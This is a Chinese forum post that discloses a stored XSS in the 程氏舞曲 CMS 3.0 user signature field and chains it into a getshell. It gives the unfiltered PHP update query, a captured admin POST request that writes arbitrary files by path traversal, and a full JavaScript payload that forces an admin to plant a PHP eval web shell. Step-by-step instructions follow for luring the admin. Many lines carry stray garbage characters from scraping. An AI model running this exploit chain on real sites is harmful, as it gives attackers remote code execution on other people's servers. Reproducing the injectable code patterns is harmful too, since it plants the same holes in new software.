找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2651|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题  G3 w8 s: D0 T2 j$ C
官网已经修补了,所以重新下了源码
# [* d" m! x+ M8 L! ~" q9 J因为 后台登入 还需要认证码 所以 注入就没看了。# B: Y9 w! n* N" S6 t* n5 r, i
存在 xss
4 C# `9 q/ [. C! }- r8 [8 j9 U漏洞文件 user/member/skin_edit.php% ~3 ?6 i# f) G4 R6 c
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
1 f# l: K% I2 ]( {6 _5 e  * N3 U$ F6 y' S+ N7 {
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>( Y; ^7 t7 j5 Z$ L' ]( M0 a
  
4 {6 _: |; _! a+ j( {* `* [</textarea></td></tr>
/ N: i. C4 l/ l  ) G3 O8 ]7 p7 Z8 n0 P# q6 V
             user/do.php
; |0 _, d1 L3 b' o0 y5 l
$ Q4 r% r0 X2 c5 F& {, _% v% H8 M- }7 K5 z' x: g
if($op=='zl'){ //资料
" S& ?5 i9 T9 P; n  
& E, o& e4 w) f; g             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 7 u1 \" S) w0 \. i9 B
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));4 F8 B/ L- d/ w; J" E+ X
  $ \: J. [! K4 z, \, J
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',3 O$ N/ o1 B. C0 z$ `
  
/ o" H' }, _1 H             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."': ]% W1 ~6 U( h1 u( G# n$ _
             where CS_Name='".$cscms_name."'";6 M5 j0 x0 J9 W. s0 T
  
8 N0 ]+ y( G$ ~5 R& w8 q/ g( r- s             if($db->query($sql)){
% w1 F+ v! Z# [% \  3 L0 ]# C5 C8 ?8 _8 k
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));8 G3 ^6 {0 k+ N6 S! ^
  
( {( q5 Q( _. q1 w0 h6 Q2 y             }else{
: h. j5 E- u0 k, {: D2 Q  
, c  N6 t& L7 C7 ?              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));+ m' B3 m1 E2 H
  
! v% K0 |' k$ |' g" z/ T             }0 W! f2 A% y6 q# r$ w, n

* s* L& {# K8 g1 v/ U
" T1 v7 ~* z9 A9 ^6 t没有 过滤导致xss产生。! a: V' N7 \' \1 s; J1 A: m4 f9 E
后台 看了下 很奇葩的是可以写任意格式文件。。; U. k  r( X9 @. l1 K( @$ _, P. m
抓包。。9 c5 V2 K$ C; C! P

' C9 L/ u! ]# N1 H9 r
) L5 t) B! J1 w, M7 Z) L& l本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1+ I' u9 ]3 u8 Q# k7 P
  
' G: G0 Y) j8 b1 P* w6 H# L3 eAccept: text/html, application/xhtml+xml, */*
5 O0 Q& e3 j, }- r  
5 m0 Y: C% M5 W6 H; mReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php- q/ p, A2 Y: H9 d
  
) e; G$ T8 X! O3 P5 f7 P+ hAccept-Language: zh-CN
4 o; E7 }7 T$ K  4 G: F$ [6 R2 w0 v8 r8 w) X
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0); x& A) \, W* t* X8 b
  4 i4 w0 G( e; a& E: i' V, ~/ e
Content-Type: application/x-www-form-urlencoded3 S2 ^) c. H0 U. b
  
& b) T, u' Q) ^# \* O: M6 G2 QAccept-Encoding: gzip, deflate
* `  i1 n- ?1 x0 Y8 [  7 g& c$ C' }& ^
Host: 127.0.0.1/ a5 |' @8 _* t8 ~
  - a% |$ L; @$ p" }
Content-Length: 382 B* ]% G  L- J3 _
  ! S, {: s! U, K) h6 y
DNT: 1
+ J4 X! v$ Y! k% B  p+ R: }  " d+ O. d' S/ ^7 n+ v
Connection: Keep-Alive, R" u( ?. F; o5 _% V
  
  M+ J# m' A* MCache-Control: no-cache
6 o# j! [% h, l  U2 |+ v+ `& {  1 F! g* [' n1 J. c/ j9 d# s
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594- ?; f  q, t, t) G1 t
  + p$ V& }1 r/ q& W$ Y6 J
* _/ g) h& ]: F/ [1 n: R% ?* K( M  {
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
0 O" ~; @& Z* ~' U, w- k% f$ N  [; [2 }: v$ I+ `
& T- n& s% j2 P. R! r0 g( W
: \0 J7 k. Q6 z: _7 f; v
于是 构造js如下。  Q. Q6 u* \2 }3 x
: \+ K1 Y6 p$ Y6 q! P& ]# ]
本帖隐藏的内容<script> # O: j. Q9 ~9 N
thisTHost = top.location.hostname;
& r! c! h0 L7 \# ^. }% Z) m& C3 ?  & A% ~& R; B! f
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";) L9 n$ U0 l0 k9 N  c& T
  % Q: z: n5 {* o5 n5 B  S
function PostSubmit(url, data, msg) { 4 `3 {2 b8 Q6 p) V) t- e+ _* x
    var postUrl = url;0 D. D5 g0 e4 \# I
  
3 k$ m& l7 O. g& i% o    var postData = data;
: {6 b0 G4 b7 J( N, v* o    var msgData = msg;
5 v9 i! {2 X$ J1 b    var ExportForm = document.createElement("FORM");
% |" v8 U0 A. W" v0 M* ^& d6 W5 H- H    document.body.appendChild(ExportForm); 5 }) d1 M2 g2 R1 Q0 ?
    ExportForm.method = "POST";
: `3 x- c( Y, U7 _1 d$ R. k    var newElement = document.createElement("input");
" `; ]! r, J9 `3 u. [    newElement.setAttribute("name", "name"); 6 `$ ~& v& D( ]4 u' r# Q6 t
    newElement.setAttribute("type", "hidden");
' B$ a$ B4 c  `! O( ^) l    var newElement2 = document.createElement("input"); ( z' _0 Q! n; l& I
    newElement2.setAttribute("name", "content"); 5 h7 H9 z- s& ?1 \7 O
    newElement2.setAttribute("type", "hidden");
" l0 |/ |; X9 x  E- H; n; w    ExportForm.appendChild(newElement);   ^& A$ u8 l+ l% Z6 }
    ExportForm.appendChild(newElement2);
* ~* D) w; M) ^% G$ T/ b    newElement.value = postData; & U+ N) F3 W- O; P+ h/ a% I
    newElement2.value = msgData;
' j& L! t  j" I! E    ExportForm.action = postUrl;
! w6 }# f3 G. P) Q- u1 r2 y! D6 A    ExportForm.submit(); . ^+ k& S( G3 _, D" p
};' k: r8 ?8 }2 Q
  
6 }7 _- z& r5 D  MPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");" s; T- S( Z% r8 t5 j4 s
  
- ~. K" S& R$ D9 D3 V</script>
/ ~0 e% B" C0 Q
& D- |) s+ g6 |! m  U! }! ^! Q( I7 a

% {: e9 g. Q* O$ Whttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入7 a) D& r6 K4 @% y; b8 T* j/ |
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
/ I" V+ ~: {- d; t. X  l就会 在 skins\index\html\目录下生成 roker.php 一句话。

3 K% s, ~: n" y4 n0 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表